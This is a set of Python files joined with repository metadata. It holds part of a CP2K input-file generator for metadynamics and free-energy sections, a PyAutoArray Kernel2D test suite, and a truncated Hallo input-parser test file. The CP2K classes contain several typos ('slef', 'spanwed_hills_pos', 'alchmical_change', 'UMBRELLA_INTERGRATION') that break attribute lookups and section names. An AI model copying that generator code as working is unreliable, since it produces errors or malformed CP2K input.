file stream for writing """ fout.write("\t\t\t&SPAWNED_HILLS_INVDT\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END SPAWNED_HILLS_INVDT\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_spawned_hills_pos: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&SPAWNED_HILLS_POS\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END SPAWNED_HILLS_POS\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn_spawned_hills_scale: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&SPAWNED_HILLS_SCALE\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END SPAWNED_HILLS_SCALE\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_metadyn: def __init__(self): self.params = {} self.status = False self.ext_lagrange_fs = cp2k_motion_free_energy_metadyn_ext_lagrange_fs() self.ext_lagrange_ss = cp2k_motion_free_energy_metadyn_ext_lagrange_ss() self.ext_lagrange_ss0 = cp2k_motion_free_energy_metadyn_ext_lagrange_ss0() self.ext_lagrange_vvp = cp2k_motion_free_energy_metadyn_ext_lagrange_vvp() self.metavar = cp2k_motion_free_energy_metadyn_metavar() self.multiple_walkers = cp2k_motion_free_energy_metadyn_multiple_walkers() self.printout = cp2k_motion_free_energy_metadyn_print() self.spawned_hills_height = cp2k_motion_free_energy_metadyn_spawned_hills_height() self.spawned_hills_invdt = cp2k_motion_free_energy_metadyn_spawned_hills_invdt() self.spawned_hills_pos = cp2k_motion_free_energy_metadyn_spawned_hills_pos() self.spawned_hills_scale = cp2k_motion_free_energy_metadyn_spawned_hills_scale() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t&METADYN\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.ext_lagrange_fs.status == True: self.ext_lagrange_fs.to_input(fout) if self.ext_lagrange_ss.status == True: self.ext_lagrange_ss.to_input(fout) if self.ext_lagrange_ss0.status == True: self.ext_lagrange_ss0.to_input(fout) if self.ext_lagrange_vvp.status == True: self.ext_lagrange_vvp.to_input(fout) if self.metavar.status == True: self.metavar.to_input(fout) if self.multiple_walkers.status == True: self.multiple_walkers.to_input(fout) if self.printout.status == True: self.printout.to_input(fout) if self.spawned_hills_height.status == True: self.spawned_hills_height.to_input(fout) if self.spawned_hills_invdt.status == True: self.spawned_hills_invdt.to_input(fout) if self.spawned_hills_pos.status == True: self.spanwed_hills_pos.to_input(fout) if self.spawned_hills_scale.status == True: self.spawned_hills_scale.to_input(fout) fout.write("\t\t&END METADYN\n") def set_params(self, params): for item in params: if len(item.split("-")) == 3: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[2] == "EXT_LAGRANGE_FS": self.ext_lagrange_fs.set_params({item: params[item]}) elif item.split("-")[2] == "EXT_LAGRANGE_SS": self.ext_lagrange_ss.set_params({item: params[item]}) elif item.split("-")[2] == "EXT_LAGRANGE_SS0": self.ext_lagrange_ss0.set_params({item: params[item]}) elif item.split("-")[2] == "EXT_LAGRANGE_VVP": self.ext_lagrange_vvp.set_params({item: params[item]}) elif item.split("-")[2] == "METAVAR": self.metavar.set_params({item: params[item]}) elif item.split("-")[2] == "MULTIPLE_WALKERS": self.multiple_walkers.set_params({item: params[item]}) elif item.split("-")[2] == "PRINT": self.printout.set_params({item: params[item]}) elif item.split("-")[2] == "SPAWNED_HILLS_HEIGHT": self.spawned_hills_height.set_params({item: params[item]}) elif item.split("-")[2] == "SPAWNED_HILLS_INVDT": self.spawned_hills_invdt.set_params({item: params[item]}) elif item.split("-")[2] == "SPAWNED_HILLS_POS": self.spawned_hills_pos.set_params({item: params[item]}) elif item.split("-")[2] == "SPANWED_HILLS_SCALE": self.spawned_hills_scale.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy_umbrella_integration_convergence_control: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&CONVERGENCE_CONTROL\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END CONVERGENCE_CONTROL\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_umbrella_integration_uvar: def __init__(self): self.params = {} self.status = False def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t\t&UVAR\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t\t%s %s\n" % (item, str(self.params[item]))) fout.write("\t\t\t&END UVAR\n") def set_params(self, params): for item in params: if len(item.split("-")) == 4: self.params[item.split("-")[-1]] = params[item] else: pass class cp2k_motion_free_energy_umbrella_integration: def __init__(self): self.params = {} self.status = False self.convergence_control = cp2k_motion_free_energy_umbrella_integration_convergence_control() self.uvar = cp2k_motion_free_energy_umbrella_integration_uvar() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t\t&UMBRELLA_INTEGRATION\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t\t%s %s\n" % (item, str(self.params[item]))) if self.convergence_control.status == True: self.convergence_control.to_input(fout) if self.uvar.status == True: self.uvar.to_input(fout) fout.write("\t\t&END UMBRELLA_INTERGRATION\n") def set_params(self, params): for item in params: if len(item.split("-")) == 3: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[2] == "CONVERGENCE_CONTROL": self.convergence_control.set_params({item: params[item]}) elif item.split("-")[2] == "UVAR": self.uvar.set_params({item: params[item]}) else: pass class cp2k_motion_free_energy: def __init__(self): self.params = {} self.status = False self.alchemical_change = cp2k_motion_free_energy_alchemical_change() self.free_energy_info = cp2k_motion_free_energy_free_energy_info() self.metadyn = cp2k_motion_free_energy_metadyn() self.umbrella_integration = cp2k_motion_free_energy_umbrella_integration() # basic setting def to_input(self, fout): """ fout: a file stream for writing """ fout.write("\t&FREE_ENERGY\n") for item in self.params: if self.params[item] is not None: fout.write("\t\t%s %s\n" % (item, str(self.params[item]))) if self.alchemical_change.status == True: self.alchmical_change.to_input(fout) if self.free_energy_info.status == True: self.free_energy_Info.to_input(fout) if self.metadyn.status == True: self.metadyn.to_input(fout) if self.umbrella_integration.status == True: self.umbrella_integration.to_input(fout) fout.write("\t&END FREE_ENERGY\n") def set_params(self, params): for item in params: if len(item.split("-")) == 2: self.params[item.split("-")[-1]] = params[item] elif item.split("-")[1] == "ALCHEMICAL_CHANGE": self.alchemical_change.set_params({item: params[item]}) elif item.split("-")[1] == "FREE_ENERGY_INFO": slef.free_energy_info.set_params({item: params[item]}) elif item.split("-")[1] == "METADYN": self.metadyn.set_params({item: params[item]}) elif item.split("-")[1] == "UMBRELLA_INTERGRATION": self.umbrella_integration.set_params({item: params[item]}) else: pass

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0.031794

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0.880219

0.856461

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0.801607

0.755663

0.700868

0

0.007672

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33,322

934

103

35.67666

0.753914

0.037993

0

0.659884

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false

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01ec7ce35778fce58be483446cccec31505b08c0

24,082

py

Python

test_autoarray/structures/test_kernel_2d.py

jonathanfrawley/PyAutoArray_copy

c21e8859bdb20737352147b9904797ac99985b73

[ "MIT" ]

null

test_autoarray/structures/test_kernel_2d.py

jonathanfrawley/PyAutoArray_copy

c21e8859bdb20737352147b9904797ac99985b73

[ "MIT" ]

null

test_autoarray/structures/test_kernel_2d.py

jonathanfrawley/PyAutoArray_copy

c21e8859bdb20737352147b9904797ac99985b73

[ "MIT" ]

null

from os import path import numpy as np import pytest from astropy import units from astropy.modeling import functional_models from astropy.coordinates import Angle import autoarray as aa from autoarray import exc test_data_dir = path.join("{}".format(path.dirname(path.realpath(__file__))), "files") class TestAPI: def test__manual__input_kernel__all_attributes_correct_including_data_inheritance( self, ): kernel = aa.Kernel2D.ones( shape_native=(3, 3), pixel_scales=1.0, normalize=False ) assert kernel.shape_native == (3, 3) assert (kernel.native == np.ones((3, 3))).all() assert kernel.pixel_scales == (1.0, 1.0) assert kernel.origin == (0.0, 0.0) kernel = aa.Kernel2D.ones( shape_native=(4, 3), pixel_scales=1.0, normalize=False ) assert kernel.shape_native == (4, 3) assert (kernel.native == np.ones((4, 3))).all() assert kernel.pixel_scales == (1.0, 1.0) assert kernel.origin == (0.0, 0.0) def test__full_kernel_is_set_of_full_values(self): kernel = aa.Kernel2D.full(fill_value=3.0, shape_native=(3, 3), pixel_scales=1.0) assert kernel.shape_native == (3, 3) assert (kernel.native == 3.0 * np.ones((3, 3))).all() assert kernel.pixel_scales == (1.0, 1.0) assert kernel.origin == (0.0, 0.0) def test__ones_zeros__kernel_is_set_of_full_values(self): kernel = aa.Kernel2D.ones(shape_native=(3, 3), pixel_scales=1.0) assert kernel.shape_native == (3, 3) assert (kernel.native == np.ones((3, 3))).all() assert kernel.pixel_scales == (1.0, 1.0) assert kernel.origin == (0.0, 0.0) kernel = aa.Kernel2D.zeros(shape_native=(3, 3), pixel_scales=1.0) assert kernel.shape_native == (3, 3) assert (kernel.native == np.zeros((3, 3))).all() assert kernel.pixel_scales == (1.0, 1.0) assert kernel.origin == (0.0, 0.0) def test__from_fits__input_kernel_3x3__all_attributes_correct_including_data_inheritance( self, ): kernel = aa.Kernel2D.from_fits( file_path=path.join(test_data_dir, "3x2_ones.fits"), hdu=0, pixel_scales=1.0 ) assert (kernel.native == np.ones((3, 2))).all() kernel = aa.Kernel2D.from_fits( file_path=path.join(test_data_dir, "3x2_twos.fits"), hdu=0, pixel_scales=1.0 ) assert (kernel.native == 2.0 * np.ones((3, 2))).all() def test__no_blur__correct_kernel(self): kernel = aa.Kernel2D.no_blur(pixel_scales=1.0) assert (kernel.native == np.array([[1.0]])).all() assert kernel.pixel_scales == (1.0, 1.0) kernel = aa.Kernel2D.no_blur(pixel_scales=2.0) assert (kernel.native == np.array([[1.0]])).all() assert kernel.pixel_scales == (2.0, 2.0) class TestNormalize: def test__input_is_already_normalized__no_change(self): kernel_data = np.ones((3, 3)) / 9.0 kernel = aa.Kernel2D.manual_native( array=kernel_data, pixel_scales=1.0, normalize=True ) assert kernel.native == pytest.approx(kernel_data, 1e-3) def test__input_is_above_normalization_so_is_normalized(self): kernel_data = np.ones((3, 3)) kernel = aa.Kernel2D.manual_native( array=kernel_data, pixel_scales=1.0, normalize=True ) assert kernel.native == pytest.approx(np.ones((3, 3)) / 9.0, 1e-3) kernel = aa.Kernel2D.manual_native( array=kernel_data, pixel_scales=1.0, normalize=False ) kernel = kernel.normalized assert kernel.native == pytest.approx(np.ones((3, 3)) / 9.0, 1e-3) def test__same_as_above__renomalized_false_does_not_normalize(self): kernel_data = np.ones((3, 3)) kernel = aa.Kernel2D.manual_native( array=kernel_data, pixel_scales=1.0, normalize=False ) assert kernel.native == pytest.approx(np.ones((3, 3)), 1e-3) class TestBinnedUp: def test__kernel_is_even_x_even__rescaled_to_odd_x_odd__no_use_of_dimension_trimming( self, ): array_2d = np.ones((6, 6)) kernel = aa.Kernel2D.manual_native( array=array_2d, pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.5, normalize=True ) assert kernel.pixel_scales == (2.0, 2.0) assert (kernel.native == (1.0 / 9.0) * np.ones((3, 3))).all() array_2d = np.ones((9, 9)) kernel = aa.Kernel2D.manual_native( array=array_2d, pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.333333333333333, normalize=True ) assert kernel.pixel_scales == (3.0, 3.0) assert (kernel.native == (1.0 / 9.0) * np.ones((3, 3))).all() array_2d = np.ones((18, 6)) kernel = aa.Kernel2D.manual_native( array=array_2d, pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.5, normalize=True ) assert kernel.pixel_scales == (2.0, 2.0) assert (kernel.native == (1.0 / 27.0) * np.ones((9, 3))).all() array_2d = np.ones((6, 18)) kernel = aa.Kernel2D.manual_native( array=array_2d, pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.5, normalize=True ) assert kernel.pixel_scales == (2.0, 2.0) assert (kernel.native == (1.0 / 27.0) * np.ones((3, 9))).all() def test__kernel_is_even_x_even_after_binning_up__resized_to_odd_x_odd_with_shape_plus_one( self, ): kernel = aa.Kernel2D.ones( shape_native=(2, 2), pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=2.0, normalize=True ) assert kernel.pixel_scales == (0.4, 0.4) assert (kernel.native == (1.0 / 25.0) * np.ones((5, 5))).all() kernel = aa.Kernel2D.ones( shape_native=(40, 40), pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.1, normalize=True ) assert kernel.pixel_scales == (8.0, 8.0) assert (kernel.native == (1.0 / 25.0) * np.ones((5, 5))).all() kernel = aa.Kernel2D.ones( shape_native=(2, 4), pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=2.0, normalize=True ) assert kernel.pixel_scales[0] == pytest.approx(0.4, 1.0e-4) assert kernel.pixel_scales[1] == pytest.approx(0.4444444, 1.0e-4) assert (kernel.native == (1.0 / 45.0) * np.ones((5, 9))).all() kernel = aa.Kernel2D.ones( shape_native=(4, 2), pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=2.0, normalize=True ) assert kernel.pixel_scales[0] == pytest.approx(0.4444444, 1.0e-4) assert kernel.pixel_scales[1] == pytest.approx(0.4, 1.0e-4) assert (kernel.native == (1.0 / 45.0) * np.ones((9, 5))).all() def test__kernel_is_odd_and_even_after_binning_up__resized_to_odd_and_odd_with_shape_plus_one( self, ): kernel = aa.Kernel2D.ones( shape_native=(6, 4), pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.5, normalize=True ) assert kernel.pixel_scales == pytest.approx((2.0, 1.3333333333), 1.0e-4) assert (kernel.native == (1.0 / 9.0) * np.ones((3, 3))).all() kernel = aa.Kernel2D.ones( shape_native=(9, 12), pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.33333333333, normalize=True ) assert kernel.pixel_scales == pytest.approx((3.0, 2.4), 1.0e-4) assert (kernel.native == (1.0 / 15.0) * np.ones((3, 5))).all() kernel = aa.Kernel2D.ones( shape_native=(4, 6), pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.5, normalize=True ) assert kernel.pixel_scales == pytest.approx((1.33333333333, 2.0), 1.0e-4) assert (kernel.native == (1.0 / 9.0) * np.ones((3, 3))).all() kernel = aa.Kernel2D.ones( shape_native=(12, 9), pixel_scales=1.0, normalize=False ) kernel = kernel.rescaled_with_odd_dimensions_from_rescale_factor( rescale_factor=0.33333333333, normalize=True ) assert kernel.pixel_scales == pytest.approx((2.4, 3.0), 1.0e-4) assert (kernel.native == (1.0 / 15.0) * np.ones((5, 3))).all() class TestConvolve: def test__kernel_is_not_odd_x_odd__raises_error(self): kernel = aa.Kernel2D.manual_native( array=[[0.0, 1.0], [1.0, 2.0]], pixel_scales=1.0 ) with pytest.raises(exc.KernelException): kernel.convolved_array_from_array(np.ones((5, 5))) def test__image_is_3x3_central_value_of_one__kernel_is_cross__blurred_image_becomes_cross( self, ): image = aa.Array2D.manual_native( array=[[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]], pixel_scales=1.0 ) kernel = aa.Kernel2D.manual_native( array=[[0.0, 1.0, 0.0], [1.0, 2.0, 1.0], [0.0, 1.0, 0.0]], pixel_scales=1.0 ) blurred_image = kernel.convolved_array_from_array(image) assert (blurred_image == kernel).all() def test__image_is_4x4_central_value_of_one__kernel_is_cross__blurred_image_becomes_cross( self, ): image = aa.Array2D.manual_native( array=[ [0.0, 0.0, 0.0, 0.0], [0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0], ], pixel_scales=1.0, ) kernel = aa.Kernel2D.manual_native( array=[[0.0, 1.0, 0.0], [1.0, 2.0, 1.0], [0.0, 1.0, 0.0]], pixel_scales=1.0 ) blurred_image = kernel.convolved_array_from_array(array=image) assert ( blurred_image.native == np.array( [ [0.0, 1.0, 0.0, 0.0], [1.0, 2.0, 1.0, 0.0], [0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0], ] ) ).all() def test__image_is_4x3_central_value_of_one__kernel_is_cross__blurred_image_becomes_cross( self, ): image = aa.Array2D.manual_native( array=[[0.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0], [0.0, 0.0, 0.0]], pixel_scales=1.0, ) kernel = aa.Kernel2D.manual_native( array=[[0.0, 1.0, 0.0], [1.0, 2.0, 1.0], [0.0, 1.0, 0.0]], pixel_scales=1.0 ) blurred_image = kernel.convolved_array_from_array(image) assert ( blurred_image.native == np.array( [[0.0, 1.0, 0.0], [1.0, 2.0, 1.0], [0.0, 1.0, 0.0], [0.0, 0.0, 0.0]] ) ).all() def test__image_is_3x4_central_value_of_one__kernel_is_cross__blurred_image_becomes_cross( self, ): image = aa.Array2D.manual_native( array=[[0.0, 0.0, 0.0, 0.0], [0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0]], pixel_scales=1.0, ) kernel = aa.Kernel2D.manual_native( array=[[0.0, 1.0, 0.0], [1.0, 2.0, 1.0], [0.0, 1.0, 0.0]], pixel_scales=1.0 ) blurred_image = kernel.convolved_array_from_array(image) assert ( blurred_image.native == np.array( [[0.0, 1.0, 0.0, 0.0], [1.0, 2.0, 1.0, 0.0], [0.0, 1.0, 0.0, 0.0]] ) ).all() def test__image_is_4x4_has_two_central_values__kernel_is_asymmetric__blurred_image_follows_convolution( self, ): image = aa.Array2D.manual_native( array=[ [0.0, 0.0, 0.0, 0.0], [0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 0.0], [0.0, 0.0, 0.0, 0.0], ], pixel_scales=1.0, ) kernel = aa.Kernel2D.manual_native( array=[[1.0, 1.0, 1.0], [2.0, 2.0, 1.0], [1.0, 3.0, 3.0]], pixel_scales=1.0 ) blurred_image = kernel.convolved_array_from_array(image) assert ( blurred_image.native == np.array( [ [1.0, 1.0, 1.0, 0.0], [2.0, 3.0, 2.0, 1.0], [1.0, 5.0, 5.0, 1.0], [0.0, 1.0, 3.0, 3.0], ] ) ).all() def test__image_is_4x4_values_are_on_edge__kernel_is_asymmetric__blurring_does_not_account_for_edge_effects( self, ): image = aa.Array2D.manual_native( [ [0.0, 0.0, 0.0, 0.0], [1.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 1.0], [0.0, 0.0, 0.0, 0.0], ], pixel_scales=1.0, ) kernel = aa.Kernel2D.manual_native( array=[[1.0, 1.0, 1.0], [2.0, 2.0, 1.0], [1.0, 3.0, 3.0]], pixel_scales=1.0 ) blurred_image = kernel.convolved_array_from_array(image) assert ( blurred_image.native == np.array( [ [1.0, 1.0, 0.0, 0.0], [2.0, 1.0, 1.0, 1.0], [3.0, 3.0, 2.0, 2.0], [0.0, 0.0, 1.0, 3.0], ] ) ).all() def test__image_is_4x4_values_are_on_corner__kernel_is_asymmetric__blurring_does_not_account_for_edge_effects( self, ): image = aa.Array2D.manual_native( array=[ [1.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 1.0], ], pixel_scales=1.0, ) kernel = aa.Kernel2D.manual_native( array=[[1.0, 1.0, 1.0], [2.0, 2.0, 1.0], [1.0, 3.0, 3.0]], pixel_scales=1.0 ) blurred_image = kernel.convolved_array_from_array(image) assert ( blurred_image.native == np.array( [ [2.0, 1.0, 0.0, 0.0], [3.0, 3.0, 0.0, 0.0], [0.0, 0.0, 1.0, 1.0], [0.0, 0.0, 2.0, 2.0], ] ) ).all() class TestFromGaussian: def test__identical_to_gaussian_light_profile(self): kernel = aa.Kernel2D.from_gaussian( shape_native=(3, 3), pixel_scales=1.0, centre=(0.1, 0.1), axis_ratio=0.9, angle=45.0, sigma=1.0, normalize=True, ) assert kernel.native == pytest.approx( np.array( [ [0.06281, 0.13647, 0.0970], [0.11173, 0.21589, 0.136477], [0.065026, 0.11173, 0.06281], ] ), 1.0e-3, ) class TestFromAlmaGaussian: def test__identical_to_astropy_gaussian_model__circular_no_rotation(self): pixel_scales = 0.1 x_stddev = ( 2.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) y_stddev = ( 2.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) gaussian_astropy = functional_models.Gaussian2D( amplitude=1.0, x_mean=2.0, y_mean=2.0, x_stddev=x_stddev, y_stddev=y_stddev, theta=0.0, ) shape = (5, 5) y, x = np.mgrid[0 : shape[1], 0 : shape[0]] kernel_astropy = gaussian_astropy(x, y) kernel_astropy /= np.sum(kernel_astropy) kernel = aa.Kernel2D.from_as_gaussian_via_alma_fits_header_parameters( shape_native=shape, pixel_scales=pixel_scales, y_stddev=2.0e-5, x_stddev=2.0e-5, theta=0.0, normalize=True, ) assert kernel_astropy == pytest.approx(kernel.native, 1e-4) def test__identical_to_astropy_gaussian_model__circular_no_rotation_different_pixel_scale( self, ): pixel_scales = 0.02 x_stddev = ( 2.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) y_stddev = ( 2.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) gaussian_astropy = functional_models.Gaussian2D( amplitude=1.0, x_mean=2.0, y_mean=2.0, x_stddev=x_stddev, y_stddev=y_stddev, theta=0.0, ) shape = (5, 5) y, x = np.mgrid[0 : shape[1], 0 : shape[0]] kernel_astropy = gaussian_astropy(x, y) kernel_astropy /= np.sum(kernel_astropy) kernel = aa.Kernel2D.from_as_gaussian_via_alma_fits_header_parameters( shape_native=shape, pixel_scales=pixel_scales, y_stddev=2.0e-5, x_stddev=2.0e-5, theta=0.0, normalize=True, ) assert kernel_astropy == pytest.approx(kernel.native, 1e-4) def test__identical_to_astropy_gaussian_model__include_ellipticity_from_x_and_y_stddev( self, ): pixel_scales = 0.1 x_stddev = ( 1.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) y_stddev = ( 2.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) theta_deg = 0.0 theta = Angle(theta_deg, "deg").radian gaussian_astropy = functional_models.Gaussian2D( amplitude=1.0, x_mean=2.0, y_mean=2.0, x_stddev=x_stddev, y_stddev=y_stddev, theta=theta, ) shape = (5, 5) y, x = np.mgrid[0 : shape[1], 0 : shape[0]] kernel_astropy = gaussian_astropy(x, y) kernel_astropy /= np.sum(kernel_astropy) kernel = aa.Kernel2D.from_as_gaussian_via_alma_fits_header_parameters( shape_native=shape, pixel_scales=pixel_scales, y_stddev=2.0e-5, x_stddev=1.0e-5, theta=theta_deg, normalize=True, ) assert kernel_astropy == pytest.approx(kernel.native, 1e-4) def test__identical_to_astropy_gaussian_model__include_different_ellipticity_from_x_and_y_stddev( self, ): pixel_scales = 0.1 x_stddev = ( 3.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) y_stddev = ( 2.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) theta_deg = 0.0 theta = Angle(theta_deg, "deg").radian gaussian_astropy = functional_models.Gaussian2D( amplitude=1.0, x_mean=2.0, y_mean=2.0, x_stddev=x_stddev, y_stddev=y_stddev, theta=theta, ) shape = (5, 5) y, x = np.mgrid[0 : shape[1], 0 : shape[0]] kernel_astropy = gaussian_astropy(x, y) kernel_astropy /= np.sum(kernel_astropy) kernel = aa.Kernel2D.from_as_gaussian_via_alma_fits_header_parameters( shape_native=shape, pixel_scales=pixel_scales, y_stddev=2.0e-5, x_stddev=3.0e-5, theta=theta_deg, normalize=True, ) assert kernel_astropy == pytest.approx(kernel.native, 1e-4) def test__identical_to_astropy_gaussian_model__include_rotation_angle_30(self): pixel_scales = 0.1 x_stddev = ( 1.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) y_stddev = ( 2.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) theta_deg = 30.0 theta = Angle(theta_deg, "deg").radian gaussian_astropy = functional_models.Gaussian2D( amplitude=1.0, x_mean=1.0, y_mean=1.0, x_stddev=x_stddev, y_stddev=y_stddev, theta=theta, ) shape = (3, 3) y, x = np.mgrid[0 : shape[1], 0 : shape[0]] kernel_astropy = gaussian_astropy(x, y) kernel_astropy /= np.sum(kernel_astropy) kernel = aa.Kernel2D.from_as_gaussian_via_alma_fits_header_parameters( shape_native=shape, pixel_scales=pixel_scales, y_stddev=2.0e-5, x_stddev=1.0e-5, theta=theta_deg, normalize=True, ) assert kernel_astropy == pytest.approx(kernel.native, 1e-4) def test__identical_to_astropy_gaussian_model__include_rotation_angle_230(self): pixel_scales = 0.1 x_stddev = ( 1.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) y_stddev = ( 2.0e-5 * (units.deg).to(units.arcsec) / pixel_scales / (2.0 * np.sqrt(2.0 * np.log(2.0))) ) theta_deg = 230.0 theta = Angle(theta_deg, "deg").radian gaussian_astropy = functional_models.Gaussian2D( amplitude=1.0, x_mean=1.0, y_mean=1.0, x_stddev=x_stddev, y_stddev=y_stddev, theta=theta, ) shape = (3, 3) y, x = np.mgrid[0 : shape[1], 0 : shape[0]] kernel_astropy = gaussian_astropy(x, y) kernel_astropy /= np.sum(kernel_astropy) kernel = aa.Kernel2D.from_as_gaussian_via_alma_fits_header_parameters( shape_native=shape, pixel_scales=pixel_scales, y_stddev=2.0e-5, x_stddev=1.0e-5, theta=theta_deg, normalize=True, ) assert kernel_astropy == pytest.approx(kernel.native, 1e-4)

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Python

hallo/test/inc/test_input_parser.py

joshcoales/Hallo

17145d8f76552ecd4cbc5caef8924bd2cf0cbf24

[ "MIT" ]

1

2018-05-19T22:27:20.000Z

hallo/test/inc/test_input_parser.py

joshcoales/Hallo

17145d8f76552ecd4cbc5caef8924bd2cf0cbf24

[ "MIT" ]

75

2015-09-26T18:07:18.000Z

2022-01-04T07:15:11.000Z

hallo/test/inc/test_input_parser.py

SpangleLabs/Hallo

17145d8f76552ecd4cbc5caef8924bd2cf0cbf24

[ "MIT" ]

1

2021-04-10T12:02:47.000Z

from hallo.inc.input_parser import InputParser def test_no_args(): p = InputParser("blah blah") assert p.remaining_text == "blah blah" assert len(p.args_dict) == 0 def test_multiple_simple_args(): p = InputParser("blah blah arg1=val1 arg2=val2 arg3=val3") assert p.remaining_text == "blah blah" assert p.args_dict["arg1"] == "val1" assert p.args_dict["arg2"] == "val2" assert p.args_dict["arg3"] == "val3" def test_quoted_args_quoted_values(): p = InputParser("yo 'base unit'=\"hello world\"") assert p.remaining_text == "yo" assert p.args_dict["base unit"] == "hello world" def test_quoted_args_unquoted_values(): p = InputParser("yo 'base unit'=hello world") assert p.remaining_text == "yo world" assert p.args_dict["base unit"] == "hello" def test_unquoted_args_quoted_values(): p = InputParser('yo base unit="hello world"') assert p.remaining_text == "yo base" assert p.args_dict["unit"] == "hello world" def test_unquoted_args_unquoted_values(): p = InputParser("yo base unit=hello world") assert p.remaining_text == "yo base world" assert p.args_dict["unit"] == "hello" def test_mismatched_quotes(): p = InputParser('yo \'base unit"="hello world"') assert p.remaining_text == "yo 'base" assert p.args_dict['unit"'] == "hello world" p = InputParser("yo 'base unit'=\"hello's world\"") assert p.remaining_text == "yo" assert p.args_dict["base unit"] == "hello's world" def test_all_types(): p = InputParser( "yo 'base unit'=\"hello world\" arg1='value 1' 'arg 2'=val2 arg3=val3" ) assert p.remaining_text == "yo" assert p.args_dict["base unit"] == "hello world" assert p.args_dict["arg1"] == "value 1" assert p.args_dict["arg 2"] == "val2" assert p.args_dict["arg3"] == "val3" def test_remaining_text_start_and_end(): p = InputParser("blah blah arg1=val1 arg2=val2 hey") assert p.remaining_text == "blah blah hey" assert p.args_dict["arg1"] == "val1" assert p.args_dict["arg2"] == "val2" def test_unstripped_input(): p = InputParser(" blah blah ") assert p.remaining_text == "blah blah" def test_get_arg_by_names(): p = InputParser("blah blah arg1=val1 arg2=val2 arg3=val3") assert p.remaining_text == "blah blah" assert p.get_arg_by_names(["arg2"]) == "val2" assert p.args_dict["arg1"] == "val1" assert p.args_dict["arg2"] == "val2" assert p.args_dict["arg3"] == "val3" def test_get_arg_by_names_no_match(): p = 